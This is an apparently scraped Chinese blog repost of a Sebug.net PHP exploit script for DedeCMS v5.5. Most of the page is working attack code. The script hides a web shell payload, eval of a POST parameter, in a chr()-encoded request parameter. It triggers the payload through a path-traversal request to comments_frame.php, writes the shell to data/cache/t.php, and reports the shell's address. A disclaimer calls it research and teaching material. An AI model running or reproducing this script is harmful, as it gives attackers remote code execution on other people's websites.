zoukankan      html  css  js  c++  java
  • dedecms v5.5 final getwebshell exploit(datalistcp.class.php)

    测试方法:

    @Sebug.net   dis
    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
      1. <?php
      2. print_r('
      3. +----------------------------------------+
      4. dedecms v5.5 final getwebshell exploit
      5. +----------------------------------------+
      6. ');
      7. if($argc <3){
      8. print_r('
      9. +----------------------------------------+
      10. Usage: php '.$argv[0].' host path
      11. host: target server (ip/hostname)
      12. path: path to dedecms
      13. Example:
      14. php '.$argv[0].' localhost /dedecms/
      15. +----------------------------------------+
      16. ');
      17. exit;
      18. }
      19. error_reporting(7);
      20. ini_set('max_execution_time',0);
      21. $host = $argv[1];
      22. $path = $argv[2];
      23. $post_a ='plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
      24. $post_b ='needCode=aa/../../../data/mysql_error_trace';
      25. $shell ='data/cache/t.php';
      26. get_send($post_a);
      27. post_send('plus/comments_frame.php',$post_b);
      28. $content = post_send($shell,'t=echo tojen;');
      29. if(substr($content,9,3)=='200'){
      30. echo " Shell Address is:".$host.$path.$shell;
      31. }else{
      32. echo " Error.";
      33. }
      34. function get_send($url){
      35. global $host, $path;
      36. $message ="GET ".$path."$url HTTP/1.1 ";
      37. $message .="Accept: */* ";
      38. $message .="Referer: http://$host$path ";
      39. $message .="Accept-Language: zh-cn ";
      40. $message .="Content-Type: application/x-www-form-urlencoded ";
      41. $message .="User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) ";
      42. $message .="Host: $host ";
      43. $message .="Connection: Close ";
      44. $fp = fsockopen($host,80);
      45. if(!$fp){
      46. echo " Connect to host Error";
      47. }
      48. fputs($fp, $message);
      49. $back ='';
      50. while(!feof($fp))
      51. $back .= fread($fp,1024);
      52. fclose($fp);
      53. return $back;
      54. }
      55. function post_send($url,$cmd){
      56. global $host, $path;
      57. $message ="POST ".$path."$url HTTP/1.1 ";
      58. $message .="Accept: */* ";
      59. $message .="Referer: http://$host$path ";
      60. $message .="Accept-Language: zh-cn ";
      61. $message .="Content-Type: application/x-www-form-urlencoded ";
      62. $message .="User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) ";
      63. $message .="Host: $host ";
      64. $message .="Content-Length: ".strlen($cmd)." ";
      65. $message .="Connection: Close ";
      66. $message .= $cmd;
      67. $fp = fsockopen($host,80);
      68. if(!$fp){
      69. echo " Connect to host Error";
      70. }
      71. fputs($fp, $message);
      72. $back ='';
      73. while(!feof($fp))
      74. $back .= fread($fp,1024);
      75. fclose($fp);
      76. return $back;
      77. }
      78. ?>
  • 相关阅读:
    redis常见面试题
    nginx常见的面试题
    python学习笔记(15)pymysql数据库操作
    python中的if not
    python学习笔记(24)-类与对象
    python学习笔记(23)-异常处理
    python学习笔记(22)-os文件操作模块
    Maven---pom.xml配置详解
    maven+jmeter+jenkins集成
    适配器模式
  • 原文地址:https://www.cnblogs.com/milantgh/p/3616040.html
Copyright © 2011-2022 走看看